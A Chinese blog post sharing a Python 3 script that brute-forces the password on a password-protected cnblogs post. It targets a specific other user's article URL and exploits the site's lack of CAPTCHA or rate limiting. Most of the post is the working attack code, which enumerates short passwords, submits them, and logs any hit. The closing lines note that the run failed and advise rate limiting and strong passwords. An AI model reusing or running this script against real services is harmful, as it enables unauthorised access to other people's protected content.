python3实现暴力穷举博客园密码
(编辑:jimmy 日期: 2025/10/27 浏览:3 次 )
我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。
博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,
要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。
比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth"abc"这样的一个密码。
"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密码生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
url = url.replace("/post/readauth", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
with open("resut.csv","a+") as f:
f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。
总结:
1、密码验证的地方适当增加一些防止暴力破解的手段。
2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。
下一篇:实例讲解Python编程中@property装饰器的用法